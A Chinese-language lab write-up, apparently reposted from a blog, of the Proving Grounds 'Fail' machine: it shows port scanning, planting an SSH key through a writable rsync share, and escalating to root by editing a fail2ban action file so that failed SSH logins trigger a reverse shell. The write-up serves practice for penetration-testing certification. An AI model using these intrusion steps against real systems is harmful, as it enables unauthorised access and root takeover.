Proving Grounds Practice-Fail

admin 2024年9月28日13:25:38评论16 views字数 6502阅读21分40秒阅读模式

前言

在未来将会持续更新Proving Grounds Practice内的靶机Write Up,近期本人也通过了OSCP考试,所以将打靶的所有笔记共享出来,所有的靶机推荐来源于以下链接:https://docs.google.com/spreadsheets/d/1dwSMIAPIam0PuRBkCiDI88pU3yzrqqHkDtBngUHNCw8/edit#gid=1839402159
不过其中有一些机器已经不在Proving Grounds Practice中了,所以就没有了Write Up,本系列将有大约40台左右的机器,如果你在练习过程中遇到了困难,建议先自己进行挖掘,然后再查看Write Up,始终需要记得:Try Harder。

本文结构

一般来说本系列的Write Up将以以下的结构来进行

  1. 端口扫描
  2. 网页枚举或端口枚举
  3. 突破入口
  4. 特权提升

靶机名称 Fail | 难度:Intermediate

端口枚举

┌──(aaron㉿aacai)-[~/Desktop/pg/fail]
└─$ sudo nmap -sS -p1-65535 -Pn 192.168.178.126
Nmap scan report for 192.168.178.126
Host is up (0.28s latency).
Not shown: 65533 closed tcp ports (reset)
PORT    STATE SERVICE
22/tcp  open  ssh
873/tcp open  rsync

这里只扫描出来了2个端口, 那么这个机器的重点就得在Rsync里面了.

参考Hacktricks的内容 https://book.hacktricks.xyz/network-services-pentesting/873-pentesting-rsync#manual-rsync

Rsync 攻击

┌──(aaron㉿aacai)-[~/Desktop/pg/fail]
└─$ nc 192.168.201.126 873
@RSYNCD: 31.0
@RSYNCD: 31.0
#list
fox             fox home
@RSYNCD: EXIT

使用nc去查看分享的文件. 根据上面的List我可以知道这个用户的用户名为fox.

┌──(aaron㉿aacai)-[~/Desktop/pg/fail]
└─$ rsync -av --list-only rsync://192.168.201.126/fox
receiving incremental file list
drwxr-xr-x          4,096 2021/01/21 17:51:59 .
lrwxrwxrwx              9 2020/12/03 23:52:42 .bash_history -> /dev/null
-rw-r--r--            220 2019/04/18 08:42:36 .bash_logout
-rw-r--r--          3,526 2019/04/18 08:42:36 .bashrc
-rw-r--r--            807 2019/04/18 08:42:36 .profile

使用list查看的话只能查看到上述命令输出的文件, 所以回去再看看HackTrick, 它说可以利用Rsync去上传文件, 那么就只有生成ssh-key的方法了, 如下展示如何通过Rsync去上传ssh-key.

┌──(aaron㉿aacai)-[~/.ssh]
└─$ ssh-keygen 
Generating public/private rsa key pair.
Enter file in which to save the key (/home/aaron/.ssh/id_rsa): 
Enter passphrase (empty for no passphrase): 
Enter same passphrase again: 
Your identification has been saved in /home/aaron/.ssh/id_rsa
Your public key has been saved in /home/aaron/.ssh/id_rsa.pub
The key fingerprint is:
SHA256:mcBT8qcPYpK97OpDIC3wCN+1Br+BIFy8wGu1VJopMKQ aaron@aacai
The key's randomart image is:
+---[RSA 3072]----+
|*.o.... .        |
|*=.+=..+         |
|EB=*o=+.. .      |
|+o*ooo=o =       |
|.o .o.+oS        |
|    .+.o o       |
|   .  o   .      |
|    ..           |
|   .oo.          |
+----[SHA256]-----+

然后使用rsync去传输.ssh文件

┌──(aaron㉿aacai)-[~/.ssh]
└─$ rsync -av . rsync://[email protected]/fox/.ssh 

Proving Grounds Practice-Fail

再使用list来查看目录下的文件

[~/.ssh]
└─$ rsync -av --list-only rsync://[email protected]/fox
receiving incremental file list
drwxr-xr-x          4,096 2023/08/10 08:01:03 .
lrwxrwxrwx              9 2020/12/03 23:52:42 .bash_history -> /dev/null
-rw-r--r--            220 2019/04/18 08:42:36 .bash_logout
-rw-r--r--          3,526 2019/04/18 08:42:36 .bashrc
-rw-r--r--            807 2019/04/18 08:42:36 .profile
drwx------          4,096 2023/08/10 07:59:05 .ssh
-rw-------          2,590 2023/08/10 07:59:05 .ssh/id_rsa
-rw-r--r--            565 2023/08/10 07:59:05 .ssh/id_rsa.pub
-rw-------         11,646 2023/08/10 07:40:49 .ssh/known_hosts

但是目前我还不能使用fox去登录这个机器, 因为需要上传.pub文件到上面才行.

Proving Grounds Practice-Fail

[~/.ssh]
└─$ cat id_rsa.pub >> authorized_keys

[~/.ssh]
└─$ rsync -av . rsync://[email protected]/fox/.ssh     
sending incremental file list
./
authorized_keys

现在就可以通过ssh来登录fox账号了

[~/.ssh]
└─$ ssh -i id_rsa [email protected]                    
Linux fail 4.19.0-12-amd64 #1 SMP Debian 4.19.152-1 (2020-10-18) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.

Proving Grounds Practice-Fail

提权

信息收集

╔══════════╣ All users & groups
uid=0(root) gid=0(root) groups=0(root)                                                                                             
uid=1000(fox) gid=1001(fox) groups=1001(fox),1000(fail2ban)
uid=100(_apt) gid=65534(nogroup) groups=65534(nogroup)
uid=101(systemd-timesync) gid=102(systemd-timesync) groups=102(systemd-timesync)
uid=102(systemd-network) gid=103(systemd-network) groups=103(systemd-network)
uid=103(systemd-resolve) gid=104(systemd-resolve) groups=104(systemd-resolve)
uid=104(messagebus) gid=110(messagebus) groups=110(messagebus)
uid=105(sshd) gid=65534(nogroup) groups=65534(nogroup)
uid=10(uucp) gid=10(uucp) groups=10(uucp)
uid=13(proxy) gid=13(proxy) groups=13(proxy)
uid=1(daemon[0m) gid=1(daemon[0m) groups=1(daemon[0m)
uid=2(bin) gid=2(bin) groups=2(bin)
uid=33(www-data) gid=33(www-data) groups=33(www-data)
uid=34(backup) gid=34(backup) groups=34(backup)
uid=38(list) gid=38(list) groups=38(list)
uid=39(irc) gid=39(irc) groups=39(irc)
uid=3(sys) gid=3(sys) groups=3(sys)
uid=41(gnats) gid=41(gnats) groups=41(gnats)
uid=4(sync) gid=65534(nogroup) groups=65534(nogroup)
uid=5(games) gid=60(games) groups=60(games)
uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
uid=6(man) gid=12(man) groups=12(man)
uid=7(lp) gid=7(lp) groups=7(lp)
uid=8(mail) gid=8(mail) groups=8(mail)
uid=999(systemd-coredump) gid=999(systemd-coredump) groups=999(systemd-coredump)
uid=9(news) gid=9(news) groups=9(news)

通过查看所有用户和组可以发现用户fox在一个名为fail2ban的组当中, 并且在这个机器上还运行着另外一个服务fail2ban-server, 而且还是以root身份运行的, 具体去查看一下这个运行的服务.

fox@fail:/tmp/linux-x86_64$ ps -ef | grep "fail2ban"
root     13489     1  0 00:46 ?        00:00:00 /usr/bin/python3 /usr/bin/fail2ban-server -xf start
fox      13496  1048  0 00:46 pts/0    00:00:00 grep fail2ban

fox@fail:/tmp/linux-x86_64$ ls /etc/fail2ban/
action.d       fail2ban.d  jail.conf  paths-arch.conf    paths-debian.conf    README.fox
fail2ban.conf  filter.d    jail.d     paths-common.conf  paths-opensuse.conf
fox@fail:/tmp/linux-x86_64$ 

这里有一个.fox为后缀的README文件

fox@fail:/tmp/linux-x86_64$ cat /etc/fail2ban/README.fox 
Fail2ban restarts each 1 minute, change ACTION file following Security Policies. ROOT!
fox@fail:/tmp/linux-x86_64$ 

它告诉我Fail2ban的服务将会在每分钟重启一次, 可以修改ACTION文件去做一些什么.

Proving Grounds Practice-Fail

jail.conf配置文件里面只能看到ssh服务被打开

Proving Grounds Practice-Fail

Proving Grounds Practice-Fail

在这些图片中,我们可以看到,如果我们在 10 分钟内尝试登录 2 次失败,我将被禁止登录 1 分钟,禁止操作是在位于action.d文件夹中的iptables-multiport配置文件中确定的

因此,攻击方向应该是更改 /etc/fail2ban/action.d/iptables-multiport.conf 文件的配置文件,而不是使用 iptables 阻止 IP,那么思路就是把反弹shell的命令放到配置文件当中。然后,等待 1 分钟让fail2ban 服务重新启动,然后故意进行 2 次失败的 ssh 登录尝试,以便启动自动操作来获取反弹shell。

Proving Grounds Practice-Fail

保存配置文件之后,故意输入两次错误的密码,这样就能触发配置文件中的自动化运行命令来反弹shell。

Proving Grounds Practice-Fail

最终得到root的反弹shell。

Proving Grounds Practice-Fail

END

OSCP(Offensive Security Certified Professional),中文称国际注册渗透测试专家认证,是由Offensive Security推出的200等级的证书,主要面向领域:渗透测试。
OSCP 证书是一种技术性证书,涵盖渗透测试和攻击技术方面。持有此证书的人员已通过对目标网络进行渗透测试并获得管理员访问权限的实际考试。该证书是由 Offense Security 出品,考试内容涉及网络渗透测试、漏洞挖掘、漏洞利用等方面。OSCP 考试难度较高,需要实际的技能和经验,持有此证书可证明持有人具有深入了解渗透测试及相关攻击技术的实际能力。

如果你觉得本篇文章对你有帮助,点个关注好不好呢,还可以点个在看,感谢你的支持:)))))))))))))

联系我

WeChat ID:wengchensmile
Email Address: [email protected](个人)

原文始发于微信公众号(Aaron与安全的那些事):Proving Grounds Practice-Fail

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年9月28日13:25:38
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Proving Grounds Practice-Failhttps://cn-sec.com/archives/1984808.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息